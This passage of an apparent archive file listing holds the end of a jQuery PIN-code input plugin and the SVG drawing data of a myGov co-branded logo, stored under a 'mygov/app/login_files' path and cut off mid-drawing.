$(e).val()); // $("#tstspan").text($(e).val()); // pinCreation.validate($(this)); // } // } // }; input.on('keyup', $.proxy(function(e){ // after every keystroke we check if all inputs have a value, if yes we call complete callback if(!this._isTouchDevice()){ // on backspace or delete go to previous input box if(e.keyCode == 8 || e.keyCode == 46){ // goto previous $(e.currentTarget).prev().select(); $(e.currentTarget).prev().focus(); }else{ if($(e.currentTarget).val()!=""){ $(e.currentTarget).next().select(); $(e.currentTarget).next().focus(); } } } // update original input box this.updateOriginalInput(); // oncomplete check if(this.check()){ this.settings.complete($(this.element).val(), e, this._error); } //onchange event for each input if(this.settings.change){ this.settings.change(e.currentTarget,$(e.currentTarget).val(),inputnumber); } // prevent more input for touch device (we can't limit it) if(this._isTouchDevice()){ if(e.keyCode == 8 || e.keyCode == 46){ // do nothing on backspace and delete }else{ if($(this.element).val().length == this.settings.inputs){ $(e.currentTarget).blur(); //$(e.currentTarget).focus(); } } if($(this.element).val().length > 0){ //$(this.element).val($(this.element).val().toString().replace(/[^0-9]/g, '')); var newLineCheck = $(this.element).val().toString().replace(/\r?\n|\r/g, ''); $('.pincode-input-text',this._container).each(function( index, value ) { $(value).val(newLineCheck); }); this.updateOriginalInput(); } } },this)); } }); // A really lightweight plugin wrapper around the constructor, // preventing against multiple instantiations $.fn[ pluginName ] = function ( options ) { return this.each(function() { if ( !$.data( this, "plugin_" + pluginName ) ) { $.data( this, "plugin_" + pluginName, new Plugin( this, options ) ); } }); }; })( jQuery, window, document ); mygov/app/login_files/myGov-cobranded-logo-black.svg000064400000175217151676702570016565 0ustar00<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 693.47 150.57"><defs><style>.cls-1{fill:#231f20;}</style></defs><path class="cls-1" d="M420,22.09a8.76,8.76,0,0,0-8.76,8.76V53.51L455,97.33l-43.82,43.81v22.67A8.75,8.75,0,0,0,426.12,170l72.71-72.69L426.15,24.65a8.75,8.75,0,0,0-6.2-2.56Z" transform="translate(-23 -22)"/><path class="cls-1" d="M382.31,24.63a8.76,8.76,0,0,0-14.93,6.22V163.78a8.76,8.76,0,0,0,15,6.18l28.81-28.82V53.51L382.31,24.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M42.11,167.84,34.5,150.55h-.29l-7.54,16.82a12.72,12.72,0,0,1-1.81,3.19,3.17,3.17,0,0,1-1.86.94v.57h7v-.57a6,6,0,0,1-2.07-.38,1.4,1.4,0,0,1-.71-1.31,4.58,4.58,0,0,1,.43-1.69l.89-2.05H36l1.12,2.63c.29.68.44,1.07.46,1.16a2,2,0,0,1,.1.58.82.82,0,0,1-.35.71,3.13,3.13,0,0,1-1.72.35h-.42v.57h10.2v-.57a2.41,2.41,0,0,1-1.49-.57,10.4,10.4,0,0,1-1.79-3.09Zm-13-2.92,3.24-7.26,3.14,7.26Z" transform="translate(-23 -22)"/><path class="cls-1" d="M58.31,168.92V157.53H52.39v.58a1.86,1.86,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v7.77a6.46,6.46,0,0,1-1.49,1.63,1.79,1.79,0,0,1-1,.3,1.28,1.28,0,0,1-.75-.23,1.38,1.38,0,0,1-.46-.69,8.14,8.14,0,0,1-.15-2v-9.93H44.18v.58a1.86,1.86,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v5.76a13,13,0,0,0,.33,3.54,3.72,3.72,0,0,0,1.27,1.77,3.49,3.49,0,0,0,2.19.74,4.75,4.75,0,0,0,2.33-.56A7.51,7.51,0,0,0,54,170.13v1.94h5.93v-.56a1.82,1.82,0,0,1-1.27-.51,4.34,4.34,0,0,1-.31-2.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M67.32,162.68a15.49,15.49,0,0,1-2.78-2.19,1.29,1.29,0,0,1-.31-.81,1.33,1.33,0,0,1,.45-1,1.54,1.54,0,0,1,1.09-.43,3.25,3.25,0,0,1,2,.81,7.72,7.72,0,0,1,2,3h.54l-.24-5h-.53a3.33,3.33,0,0,1-.55.67.92.92,0,0,1-.44.1,1.46,1.46,0,0,1-.69-.23,5,5,0,0,0-2.29-.58,4.23,4.23,0,0,0-3.36,1.37,4.6,4.6,0,0,0-1.14,3,4.38,4.38,0,0,0,1,2.81,16.4,16.4,0,0,0,3.08,2.52,11.42,11.42,0,0,1,2.08,1.65,1.92,1.92,0,0,1,.47,1.29,1.53,1.53,0,0,1-.48,1.12,1.67,1.67,0,0,1-1.22.45,3.69,3.69,0,0,1-2.31-1,6.7,6.7,0,0,1-1.91-3.08h-.53l.25,5.23H62c.23-.52.51-.78.85-.78a2.06,2.06,0,0,1,.64.17,8.65,8.65,0,0,0,2.79.66,5,5,0,0,0,2.44-.63,4.32,4.32,0,0,0,1.71-1.78,5.07,5.07,0,0,0,.6-2.39,4.2,4.2,0,0,0-.73-2.41,11.08,11.08,0,0,0-3-2.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M77.76,152.21h-.52a17,17,0,0,1-2.41,3.41,20.51,20.51,0,0,1-3.32,2.91v.54H73.4v7.85a14.75,14.75,0,0,0,.16,2.86,3.45,3.45,0,0,0,1.21,1.73,3.68,3.68,0,0,0,2.35.76,4.25,4.25,0,0,0,4.09-3l-.47-.34c-.6,1-1.24,1.54-1.91,1.54a.93.93,0,0,1-.55-.22,1.24,1.24,0,0,1-.41-.59,6.93,6.93,0,0,1-.11-1.63v-9h3.45v-1.54H77.76v-5.32Z" transform="translate(-23 -22)"/><path class="cls-1" d="M92.94,157.1a3.8,3.8,0,0,0-2.1.74,10.67,10.67,0,0,0-2.53,3v-3.3H82.37v.58a2.36,2.36,0,0,1,1,.27,1.24,1.24,0,0,1,.45.64,5.68,5.68,0,0,1,.13,1.59v8a4.78,4.78,0,0,1-.35,2.35,1.69,1.69,0,0,1-1.27.51v.56h7.85v-.56a3.48,3.48,0,0,1-1.24-.23,1.36,1.36,0,0,1-.55-.63,3.58,3.58,0,0,1-.11-1.13v-4.21A10.59,10.59,0,0,1,88.8,162a3.22,3.22,0,0,1,1-1.51,1.29,1.29,0,0,1,.86-.34.68.68,0,0,1,.35.09c.07,0,.31.24.72.59a2.11,2.11,0,0,0,1.43.53,1.55,1.55,0,0,0,1.21-.57,2.39,2.39,0,0,0,.52-1.62,2,2,0,0,0-.54-1.51,1.77,1.77,0,0,0-1.38-.54Z" transform="translate(-23 -22)"/><path class="cls-1" d="M107.85,170.28a.56.56,0,0,1-.36-.12.79.79,0,0,1-.23-.38,6,6,0,0,1-.08-1.26v-5.64a12.51,12.51,0,0,0-.22-3,4,4,0,0,0-1.57-1.9,5.39,5.39,0,0,0-3.26-.88,9.85,9.85,0,0,0-3.3.54,5.5,5.5,0,0,0-2.48,1.57,3.18,3.18,0,0,0-.88,2.13,1.82,1.82,0,0,0,.66,1.39,2.38,2.38,0,0,0,1.64.58,2.07,2.07,0,0,0,1.48-.52,1.75,1.75,0,0,0,.58-1.31,2,2,0,0,0-.6-1.29,1.34,1.34,0,0,1-.43-.81.77.77,0,0,1,.4-.65,2.87,2.87,0,0,1,1.66-.45,2,2,0,0,1,1.13.32,1.61,1.61,0,0,1,.66.75,6.5,6.5,0,0,1,.19,2.07v1.46a26.31,26.31,0,0,0-6.23,3.55,4,4,0,0,0-1.43,3,2.76,2.76,0,0,0,.82,2.05,2.84,2.84,0,0,0,2.07.81q2.1,0,4.77-2.35a2.72,2.72,0,0,0,.86,1.78,3,3,0,0,0,1.94.57,3.49,3.49,0,0,0,1.88-.51,5.94,5.94,0,0,0,1.62-1.68l-.46-.37a1.13,1.13,0,0,1-.83.57Zm-5-1.49a3,3,0,0,1-1.8.87,1.45,1.45,0,0,1-1.09-.42,1.79,1.79,0,0,1-.52-1.26,2.93,2.93,0,0,1,.61-1.7,9,9,0,0,1,2.8-2.36v4.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.48,169.05V151h-6.1v.58a1.9,1.9,0,0,1,1.39.5,3.47,3.47,0,0,1,.35,1.94v15.05a3.46,3.46,0,0,1-.31,1.9,1.9,1.9,0,0,1-1.43.56v.56h7.85v-.56a2,2,0,0,1-1.4-.48,3.53,3.53,0,0,1-.35-2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119.74,152.9a2.39,2.39,0,0,0,2.39,2.39,2.32,2.32,0,0,0,1.7-.7,2.4,2.4,0,0,0-1.7-4.1,2.25,2.25,0,0,0-1.69.71,2.3,2.3,0,0,0-.7,1.7Z" transform="translate(-23 -22)"/><path class="cls-1" d="M124.31,169.05V157.53h-6.1v.58a1.9,1.9,0,0,1,1.39.49,3.44,3.44,0,0,1,.35,2v8.49a3.46,3.46,0,0,1-.31,1.9,1.9,1.9,0,0,1-1.43.56v.56h7.85v-.56a1.94,1.94,0,0,1-1.39-.48,3.5,3.5,0,0,1-.36-2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M139.55,170.28a.55.55,0,0,1-.35-.12.67.67,0,0,1-.23-.38,5.11,5.11,0,0,1-.09-1.26v-5.64a12.71,12.71,0,0,0-.21-3,4,4,0,0,0-1.57-1.9,5.37,5.37,0,0,0-3.26-.88,9.85,9.85,0,0,0-3.3.54,5.55,5.55,0,0,0-2.48,1.57,3.18,3.18,0,0,0-.88,2.13,1.81,1.81,0,0,0,.65,1.39,2.41,2.41,0,0,0,1.65.58,2.09,2.09,0,0,0,1.48-.52,1.74,1.74,0,0,0,.57-1.31,2,2,0,0,0-.59-1.29,1.36,1.36,0,0,1-.44-.81.79.79,0,0,1,.41-.65,2.87,2.87,0,0,1,1.66-.45,2,2,0,0,1,1.13.32,1.64,1.64,0,0,1,.67.75,7,7,0,0,1,.18,2.07v1.46a26.67,26.67,0,0,0-6.24,3.55,4,4,0,0,0-1.43,3,2.77,2.77,0,0,0,.83,2.05,2.8,2.8,0,0,0,2.07.81c1.4,0,3-.78,4.77-2.35a2.71,2.71,0,0,0,.85,1.78,3,3,0,0,0,1.94.57,3.52,3.52,0,0,0,1.89-.51,5.94,5.94,0,0,0,1.62-1.68l-.47-.37c-.28.38-.55.57-.83.57Zm-5-1.49a3,3,0,0,1-1.81.87,1.42,1.42,0,0,1-1.08-.42,1.74,1.74,0,0,1-.51-1.26,2.91,2.91,0,0,1,.6-1.7,9.17,9.17,0,0,1,2.8-2.36v4.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M155.31,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.69,3.69,0,0,0-1.25-1.94,3.47,3.47,0,0,0-2.34-.79,4.46,4.46,0,0,0-2.21.56,8.39,8.39,0,0,0-2.15,1.75v-1.88h-5.92v.58a1.86,1.86,0,0,1,1.26.52,4.18,4.18,0,0,1,.31,2.06v8.21a4.27,4.27,0,0,1-.27,2,1.79,1.79,0,0,1-1.3.59v.56h7.36v-.56a1.58,1.58,0,0,1-1.14-.54,4.38,4.38,0,0,1-.3-2.07v-7.79q1.15-1.92,2.49-1.92a1.12,1.12,0,0,1,.73.27,1.29,1.29,0,0,1,.48.71,10,10,0,0,1,.15,2.26v6.47a4.29,4.29,0,0,1-.26,1.92,1.5,1.5,0,0,1-1.17.69v.56h7.35v-.56a1.85,1.85,0,0,1-1.28-.51,4.61,4.61,0,0,1-.29-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M177.74,163.8h.55a2.73,2.73,0,0,1,1.29.29,1.6,1.6,0,0,1,.71.67,4.49,4.49,0,0,1,.17,1.6v4.39a10.9,10.9,0,0,1-1.65.48,8.24,8.24,0,0,1-1.55.16,6.65,6.65,0,0,1-3.8-1.08,6.12,6.12,0,0,1-2.3-3.35,17.83,17.83,0,0,1-.71-5.33,18.58,18.58,0,0,1,.65-4.88,7.24,7.24,0,0,1,2.22-3.7,5.87,5.87,0,0,1,3.94-1.33,7.3,7.3,0,0,1,4.55,1.58,9.37,9.37,0,0,1,3.13,4.64h.58V150.5h-.58a2.87,2.87,0,0,1-.69,1.22,1.24,1.24,0,0,1-.8.31,8.9,8.9,0,0,1-1.82-.58,13.93,13.93,0,0,0-2.21-.71,14.32,14.32,0,0,0-2.83-.25,11.51,11.51,0,0,0-8.41,3.28,10.8,10.8,0,0,0-3.34,8,10.55,10.55,0,0,0,1.08,4.8,10.2,10.2,0,0,0,2.37,3,12.76,12.76,0,0,0,3.5,2.15,13.29,13.29,0,0,0,5,.81,21.59,21.59,0,0,0,4.52-.47,20.56,20.56,0,0,0,4.22-1.35v-4.39a4.57,4.57,0,0,1,.14-1.45,1.56,1.56,0,0,1,.7-.79,4.44,4.44,0,0,1,1.63-.32v-.58H177.74v.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M199.14,158.07a6.78,6.78,0,0,0-3.53-1,5.93,5.93,0,0,0-5,2.33,8.55,8.55,0,0,0-1.81,5.44,8.44,8.44,0,0,0,1.78,5.33,6,6,0,0,0,5,2.3A6.23,6.23,0,0,0,200.9,170a8.41,8.41,0,0,0,1.57-5.18,9.18,9.18,0,0,0-.86-4,6.25,6.25,0,0,0-2.47-2.78Zm-1.56,11.49a2.58,2.58,0,0,1-.8,1.48,1.76,1.76,0,0,1-1.17.39,1.7,1.7,0,0,1-1.27-.58,3,3,0,0,1-.74-1.68,21.43,21.43,0,0,1-.22-3.1c0-2.1.06-3.73.18-4.9a4.12,4.12,0,0,1,.75-2.36,1.8,1.8,0,0,1,1.36-.61,1.62,1.62,0,0,1,1.06.33,2.71,2.71,0,0,1,.87,1.44,14.56,14.56,0,0,1,.3,3.63,34.05,34.05,0,0,1-.32,6Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.34,157.53h-4.76v.58a2,2,0,0,1,1.22.33,1,1,0,0,1,.36.78,9.38,9.38,0,0,1-.82,2.87l-1.91,4.71-2.4-5.46a7.13,7.13,0,0,1-.68-2.16,1.06,1.06,0,0,1,.37-.81,1.45,1.45,0,0,1,1-.26v-.58H202v.58a1.79,1.79,0,0,1,1,.54,10.58,10.58,0,0,1,1.39,2.58l4.9,11.28h.73l4.85-11.42a9.4,9.4,0,0,1,1.31-2.47,1.91,1.91,0,0,1,1.12-.51v-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M227,158.91a5,5,0,0,0-3.83-1.81,6.09,6.09,0,0,0-4.62,2.16,8.26,8.26,0,0,0-2,5.78,8.81,8.81,0,0,0,1.34,5,5.52,5.52,0,0,0,4.9,2.48,5.65,5.65,0,0,0,3.31-1,8.85,8.85,0,0,0,2.61-3.42l-.52-.34a7,7,0,0,1-1.64,1.88,3,3,0,0,1-1.69.51,3.24,3.24,0,0,1-2.58-1.29,7.44,7.44,0,0,1-1.54-4.57h8a8.2,8.2,0,0,0-1.75-5.37Zm-6.3,4.33v-.55a6.73,6.73,0,0,1,.92-3.79,1.52,1.52,0,0,1,1.32-.79,1.31,1.31,0,0,1,.87.27,2.81,2.81,0,0,1,.84,1.42,13.79,13.79,0,0,1,.28,3.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M240.3,157.1a3.75,3.75,0,0,0-2.09.74,10.5,10.5,0,0,0-2.54,3v-3.3h-5.94v.58a2.28,2.28,0,0,1,1,.27,1.24,1.24,0,0,1,.45.64,5.68,5.68,0,0,1,.13,1.59v8A4.82,4.82,0,0,1,231,171a1.7,1.7,0,0,1-1.28.51v.56h7.86v-.56a3.49,3.49,0,0,1-1.25-.23,1.29,1.29,0,0,1-.54-.63,3.58,3.58,0,0,1-.11-1.13l0-.87v-3.34a10.58,10.58,0,0,1,.5-3.33,3.15,3.15,0,0,1,1-1.51,1.28,1.28,0,0,1,.85-.34.74.74,0,0,1,.36.09,8.94,8.94,0,0,1,.71.59,2.13,2.13,0,0,0,1.43.53,1.57,1.57,0,0,0,1.22-.57,2.44,2.44,0,0,0,.51-1.62,2,2,0,0,0-.53-1.51,1.79,1.79,0,0,0-1.39-.54Z" transform="translate(-23 -22)"/><path class="cls-1" d="M257.27,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.67,3.67,0,0,0-1.24-1.94,3.5,3.5,0,0,0-2.35-.79,4.48,4.48,0,0,0-2.21.56,8.37,8.37,0,0,0-2.14,1.75v-1.88h-5.93v.58a1.83,1.83,0,0,1,1.26.52,4,4,0,0,1,.32,2.06v8.21a4.42,4.42,0,0,1-.27,2,1.82,1.82,0,0,1-1.31.59v.56h7.36v-.56a1.62,1.62,0,0,1-1.14-.54,4.57,4.57,0,0,1-.29-2.07v-7.79q1.15-1.92,2.49-1.92a1.14,1.14,0,0,1,.73.27,1.35,1.35,0,0,1,.48.71,11,11,0,0,1,.14,2.26v6.47a4.34,4.34,0,0,1-.25,1.92,1.53,1.53,0,0,1-1.18.69v.56h7.35v-.56a1.82,1.82,0,0,1-1.27-.51,4.42,4.42,0,0,1-.3-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M283,168.9v-6a12,12,0,0,0-.35-3.39,3.54,3.54,0,0,0-1.24-1.75,3.78,3.78,0,0,0-2.4-.7,4.94,4.94,0,0,0-2.4.62,9.2,9.2,0,0,0-2.38,2,3.74,3.74,0,0,0-3.81-2.64,4.74,4.74,0,0,0-2.24.53,8,8,0,0,0-2.2,1.81v-1.91H260v.58a1.81,1.81,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v8.21a4.33,4.33,0,0,1-.26,2,1.82,1.82,0,0,1-1.31.59v.56h7.5v-.56a1.62,1.62,0,0,1-1.28-.58,4.53,4.53,0,0,1-.29-2v-7.81a6,6,0,0,1,1.56-1.65,2.08,2.08,0,0,1,1.13-.33,1.21,1.21,0,0,1,.77.29,1.43,1.43,0,0,1,.53.77,10.93,10.93,0,0,1,.16,2.48v6.25a6.37,6.37,0,0,1-.13,1.66,1.27,1.27,0,0,1-.46.65,1.65,1.65,0,0,1-.95.3v.56h7.53v-.56a1.61,1.61,0,0,1-1.37-.64,4.36,4.36,0,0,1-.27-2v-7.81a6.14,6.14,0,0,1,1.39-1.46,2.28,2.28,0,0,1,1.35-.5,1.19,1.19,0,0,1,.78.27,1.4,1.4,0,0,1,.49.77,11.17,11.17,0,0,1,.16,2.48v6.25a4,4,0,0,1-.28,1.92,1.66,1.66,0,0,1-1.31.69v.56h7.51v-.56a1.86,1.86,0,0,1-1.27-.53,4.29,4.29,0,0,1-.3-2.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M295.7,158.91a4.94,4.94,0,0,0-3.82-1.81,6.09,6.09,0,0,0-4.62,2.16,8.21,8.21,0,0,0-1.95,5.78,8.81,8.81,0,0,0,1.33,5,5.51,5.51,0,0,0,4.9,2.48,5.69,5.69,0,0,0,3.31-1,8.85,8.85,0,0,0,2.61-3.42l-.52-.34a7,7,0,0,1-1.64,1.88,3,3,0,0,1-1.69.51,3.24,3.24,0,0,1-2.58-1.29,7.44,7.44,0,0,1-1.54-4.57h8a8.2,8.2,0,0,0-1.76-5.37Zm-6.29,4.33v-.55a6.73,6.73,0,0,1,.92-3.79,1.52,1.52,0,0,1,1.32-.79,1.28,1.28,0,0,1,.86.27,2.82,2.82,0,0,1,.85,1.42,13.79,13.79,0,0,1,.28,3.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M312.14,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.73,3.73,0,0,0-1.24-1.94,3.48,3.48,0,0,0-2.35-.79,4.48,4.48,0,0,0-2.21.56,8.2,8.2,0,0,0-2.14,1.75v-1.88H298v.58a1.81,1.81,0,0,1,1.26.52,4,4,0,0,1,.32,2.06v8.21a4.42,4.42,0,0,1-.27,2,1.8,1.8,0,0,1-1.31.59v.56h7.36v-.56a1.62,1.62,0,0,1-1.14-.54,4.42,4.42,0,0,1-.29-2.07v-7.79q1.14-1.92,2.49-1.92a1.12,1.12,0,0,1,.73.27,1.35,1.35,0,0,1,.48.71,11,11,0,0,1,.14,2.26v6.47a4.34,4.34,0,0,1-.25,1.92,1.53,1.53,0,0,1-1.18.69v.56h7.35v-.56a1.8,1.8,0,0,1-1.27-.51,4.42,4.42,0,0,1-.3-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M319.9,152.21h-.52a17,17,0,0,1-2.41,3.41,20.51,20.51,0,0,1-3.32,2.91v.54h1.89v7.85a14.75,14.75,0,0,0,.16,2.86,3.45,3.45,0,0,0,1.21,1.73,3.66,3.66,0,0,0,2.35.76,4.26,4.26,0,0,0,4.09-3l-.46-.34c-.61,1-1.24,1.54-1.92,1.54a.88.88,0,0,1-.54-.22,1.19,1.19,0,0,1-.42-.59,6.93,6.93,0,0,1-.11-1.63v-9h3.45v-1.54H319.9v-5.32Z" transform="translate(-23 -22)"/><path class="cls-1" d="M148,113.37l-.4.4a1,1,0,0,0,.4-.4Z" transform="translate(-23 -22)"/><path class="cls-1" d="M152.35,84.13a.76.76,0,1,0-.76.77.77.77,0,0,0,.76-.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M159.43,52.72h0l0,22.16c0,2.14.9,4,2.15,4.58l10.55,6.3a1.26,1.26,0,0,0,1.82.1l10.71-6.4c1.26-.57,2.16-2.44,2.16-4.58l0-22.16H159.43Zm4.51,2.14.44,0,.27-.47.26.46.45,0-.21.39.34.35-.44.09v.47l-.4-.3-.41.3v-.47l-.43-.09.34-.35-.21-.39Zm-.12,5c.8,0,.57.77.71.77s0-.77.52-.77c.79,0,1.78,2,.88,2-.38,0-.07-.28-.08-.34s-.21-.18-.29-.18c-.26,0-.36.42-.58.44s-.26,0-.26-.18.32-.25.45-.37c-1.79,0-1.82.81-2.09.81-.47,0,.39-.86.63-1.11-.36-.06-.57-.5-1-.72.18-.27.29-.16.52,0,0-.19.14-.4.55-.4Zm0,6.75.34-.35-.21-.39.44,0,.27-.47.26.46.45,0-.21.39.34.35-.44.08v.48l-.4-.3-.41.3v-.48l-.43-.08Zm-3.6-13.13h2.89v5.68h-2.89V53.47Zm.35,7.65.34-.35-.21-.38.44,0,.26-.47.27.46.45,0-.22.38.34.35-.43.09v.48l-.41-.31-.4.31v-.48l-.43-.09Zm-.35,1.68h2.89v5.38h-2.89V62.8Zm8.34,19.94L162,78.82a4.7,4.7,0,0,1-1.78-3.65V68.93h8.34V82.74Zm0-14.56h-2.37V62.8h2.37v5.38ZM167,60.39l.44,0,.27-.47.26.46.45,0-.21.38.34.35-.44.09v.48l-.4-.31-.41.31v-.48l-.43-.09.34-.35-.21-.38Zm1.59-1.24h-2.37V53.47h2.37v5.68Zm8.46,24L174,85h-.05a1.24,1.24,0,0,1-.8.29,1.27,1.27,0,0,1-.8-.3l-3-1.8V68.93H177V83.19Zm0-15H169.3V53.47H177V68.18Zm9.09,7a4.66,4.66,0,0,1-1.78,3.65l-6.57,3.92V68.93h8.35v6.24Zm0-7h-8.35V53.47h8.35V68.18Z" transform="translate(-23 -22)"/><path class="cls-1" d="M160.55,72.67c0,.11.07.25.25.34-.08.08-.15.27-.15.78,0,1.76,1.1,2.57,1.9,2.57.58,0,.49-.4.55-.6,0,.3.31-.14.31.38s-.55.3-.55.77c0,.62.88,0,.88.66a8,8,0,0,1-.11,1.15c0,.22.92-.31.86-.41.23.09.21.74.62.72s.33-.67.54-.72c-.13,0,.82.62.82.32,0-.81-.33-.47-.33-1s1.13-.41,1-.68-.26-.08-.37-.47c0,.07-.9-1.3.18-.59s1.26-1.72,1.2-1.85-.53.13-.73.24a3.22,3.22,0,0,1,.81-1.06c-.05-.35-.5,0-1,.21,1.56-2.23.56-1.32-.31-1.16,1.4-1.5,1-1.47,0-1,.81-.64,1-1.4.86-1.62-.76,1-1.46.85-1.46,1.79a3.74,3.74,0,0,1-.54,2c-.4.44-.09-1.65-1.16-1.65-.35,0-1.15,0-1.4.38.22,0,.54.56.54.78s.21.83-.15.83-.79-.77-.79-1.14,0-.28,0-.8a3,3,0,0,0-2-2.14c0,.62.8.76.8,1.55-.34,0-.83-.64-.83-.24s.51.47.51.81-.58-.12-.58.25.32.27.4.59c-.24-.07-.45,0-.5.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M197.38,79.81a.8.8,0,1,0-.9-.8.85.85,0,0,0,.9.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M192.83,81.18a.91.91,0,1,0,.9-.8.85.85,0,0,0-.9.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M150.37,85.38a.81.81,0,1,0,.9.8.86.86,0,0,0-.9-.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M153.18,87.21a.8.8,0,1,0-.9-.79.85.85,0,0,0,.9.79Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.91,55.35a5.64,5.64,0,0,0-.67-6c-.33-.34-.09-1.11-.71-1.21-.86,2-.1,4.29.86,6.07.09.39,0,1.06.52,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.27,55.16c.23,0,.19.43.43.19a8.41,8.41,0,0,1,0-3.8,3.45,3.45,0,0,0-1.44-2.36.35.35,0,0,0-.47.09c.47,1.88-.39,4.53,1.48,5.88Z" transform="translate(-23 -22)"/><path class="cls-1" d="M234.74,53c.38-.24.9-.77.62-1.3a1.25,1.25,0,0,0-1.24-.48,1.1,1.1,0,0,0-.58,1.25,1.22,1.22,0,0,0,1.2.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.15,54.87a1.39,1.39,0,0,0,.62-1.06c-.14-.38-.47-.48-.8-.62a1.09,1.09,0,0,0-.92.43.88.88,0,0,0,.19,1c.19.24.63.24.91.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.94,55.84a1.09,1.09,0,0,0,1.29-.44,1.13,1.13,0,0,0,0-.77,1.56,1.56,0,0,0-1-.48,1.5,1.5,0,0,0-.82.87,1.33,1.33,0,0,0,.54.82Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.54,56.12c.43.15.76-.24,1-.48.05-.29.34-.77,0-1a1.16,1.16,0,0,0-.91-.24,1.06,1.06,0,0,0-.67,1.11c.1.33.38.33.62.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M230.43,56.7c.62-.09.57-.77.57-1.3a1.3,1.3,0,0,0-.95-.53,1.13,1.13,0,0,0-.72,1.15.9.9,0,0,0,1.1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M118.37,56.65c.29-.24.76-.53.62-1a.89.89,0,0,0-1.39-.43c-.09.29-.52.58-.19.91a1,1,0,0,0,1,.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.59,56.7a1,1,0,0,0,.53-.91c-.19-.34-.53-.83-1.05-.63a.8.8,0,0,0-.43,1.1.84.84,0,0,0,1,.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.85,62.2c.68-.63.34-1.83.53-2.75a10.05,10.05,0,0,0-1-3.47c-.14-.24-.14-.72-.52-.58-.28,1.64-1.05,3.62-.19,5.3.43.44.48,1.26,1.14,1.5Z" transform="translate(-23 -22)"/><path class="cls-1" d="M112.68,55.93a1.2,1.2,0,0,0-.63,1.16,1.13,1.13,0,0,0,1.2.67c.33-.33.76-.63.62-1.2a1.22,1.22,0,0,0-1.19-.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M227.23,62.58A7,7,0,0,0,227,58a1.88,1.88,0,0,1-.77-1.44c-.14-.29-.33-.58-.67-.34a6.48,6.48,0,0,0-.58,2.75,18.8,18.8,0,0,0,2,3.9l.29-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.72,56.51a1,1,0,0,0-.52,1.16.86.86,0,0,0,1.1.57,1.2,1.2,0,0,0,.71-1.15c-.23-.38-.76-.87-1.29-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.45,59.5a1,1,0,0,0,.72-.92c-.1-.48-.53-.67-1-.92-.29.1-.62.1-.77.39a1.18,1.18,0,0,0,0,1.11c.34.15.63.63,1,.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.64,58.73c.25.34.53.77,1.1.57.2-.23.73-.47.53-1s-.53-.82-1.1-.67c-.33.28-.62.57-.53,1.06Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.26,60.08c.09-.63,1.05-1.25,1.1-1.89a7.1,7.1,0,0,0-3.88,2.51c-.53.87-1.39,1.74-1.29,2.7a2.28,2.28,0,0,0,1.1-.62,4.89,4.89,0,0,0,3-2.7Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.84,63a.4.4,0,0,0,.33-.49,17.45,17.45,0,0,1-2-2.26c-.62-.82-1.53-1-2.34-1.64-.34.05-1-.38-1.1.15,1.14,1.69,2.72,4.09,5.07,4.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M230.43,66.49c.53.33,1.1-.2,1.63-.39a6.19,6.19,0,0,0,3-5.21h-.39a24.47,24.47,0,0,0-4.21,5.6Z" transform="translate(-23 -22)"/><path class="cls-1" d="M225,63.69a1.18,1.18,0,0,0,.81-1.4c-.24-.23-.38-.48-.67-.58a.75.75,0,0,0-.57.15,1,1,0,0,0-.68,1.06c.25.38.58.82,1.11.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.17,65a28.49,28.49,0,0,0-2.59-2.26,8.74,8.74,0,0,0-2.92-.63c-.33.15-1-.05-1,.48,1.67.48,2.77,1.88,4.4,2.46.71,0,1.49.39,2.11-.05Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.64,64.7a1.06,1.06,0,0,0,.72-1.1c-.1-.44-.57-.49-1-.59-.38.2-.86.59-.67,1.11s.53.44.91.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M122.29,64.85c.29.38.82.14,1.15-.15a1,1,0,0,0-.19-1.1c-.39-.39-1-.1-1.29.24s.05.72.33,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M225.31,64.46a.91.91,0,0,0-.71.73c0,.63.62.72,1.1.86.38-.19.81-.57.61-1.11a.94.94,0,0,0-1-.48Z" 